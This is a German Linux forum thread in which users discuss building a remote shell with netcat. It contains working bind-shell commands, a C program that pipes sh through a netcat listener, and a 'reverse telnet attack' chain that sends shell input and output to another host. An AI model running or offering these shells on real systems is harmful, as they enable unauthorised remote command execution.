• Willkommen im Linux Club - dem deutschsprachigen Supportforum für GNU/Linux. Registriere dich kostenlos, um alle Inhalte zu sehen und Fragen zu stellen.

remote shell mit netcat und sh

PNS-Richi

Member
Hallo,

Server:
Code:
netcat -l -p $port | /bin/sh

Client:
Code:
netcat localhost 1234

klappt auch, wenn man ein command eingibt wird es auch ausgeführt, jedoch der output nicht zurück gesendet.

Das ganze wollt ich mit einer Passwort Abfrage verfeinern, so als kleine Spielerei.

Hat jemand eine Idee?

lg Richi
 
OP
P

PNS-Richi

Member
Toll, das weiß ich selber.

Ich such halt nach ner Lösung, dazu müsste ich aber alles doppelt starten.
 
A

Anonymous

Gast
PNS-Richi schrieb:
Ich such halt nach ner Lösung, dazu müsste ich aber alles doppelt starten.

Oder netcat selbst kompilieren, die Option die du brauchst ist default bei Suse nicht aktiv, weil man damit zu viel Unsinn treiben könnte. Lad den Quelltext und ließ mal in der Doku. Es war glaube ich beschrieben. Der Parameter -e funktioniert nur, wenn netcat mit der Option
-DGAPING_SECURITY_HOLE compiliert wird. Achtung selbst kompilieren ging hier, wenn ich mich wage erinnere, nicht nach dem 3 Satz "configure - make - make install"

http://www.jfranken.de/homepages/johannes/vortraege/netcat_inhalt.de.html#ToC8

robi
 
Musst halt nur die Pipes richtig aufbauen. Und wenn du meinst, das mit der Unidirektionalität schon zu wissen, dann weißt du auch, dass man zwei braucht.
Code:
int main(void)
{
    int tosh[2], fromsh[2];
    pipe(tosh);
    pipe(fromsh);
    if (fork() == 0) {
        dup2(tosh[0], STDIN_FILENO);
        dup2(fromsh[1], STDOUT_FILENO);
        execlp("sh", "sh", NULL);
        return 1;
    }
    dup2(tosh[1], STDOUT_FILENO);
    dup2(fromsh[0], STDIN_FILENO);
    execlp("netcat", "netcat", "-lp", "8888", NULL);
    return 1;
}
 

leanUX

Member
PNS-Richi schrieb:
Hallo,

Server:
Code:
netcat -l -p $port | /bin/sh

Client:
Code:
netcat localhost 1234

klappt auch, wenn man ein command eingibt wird es auch ausgeführt, jedoch der output nicht zurück gesendet.

Das ganze wollt ich mit einer Passwort Abfrage verfeinern, so als kleine Spielerei.

Hat jemand eine Idee?

lg Richi


Was Du da suchst, das ist als "reverse telnet attack" bekannt, und funktioniert folgendermassen:

Du oeffnest zwei netcat listener, jeder in einem eigenen Konsolen-Fenster:
client:
Code:
user@client:~> nc -l -n -v -p 80
Code:
user@client:~> nc -l -n -v -p 25

Auf dem Server musst Du nun folgendes eingeben:
Code:
user@server:~> /bin/telnet IP_ofClient 80 | /bin/sh | /bin/telnet IP_ofClient 25

/bin/telnet IP_ofClient 80 baut eine Verbindung vom Server zu Deinem PC auf, d.h. dem netcat listener auf Port 80. Hier werden die gewuenschen Befehle eingegeben.
Die Ausgaben von /bin/sh, welches diese Befehle erhaelt, werden dann auf Deinen PC nach Port 25, den anderen netcat-Listener geschickt. (Klar, dass in diesem Beispiel keine anderen Dienste auf den Ports 25 bzw. 80 laufen duerfen.)
 
Oben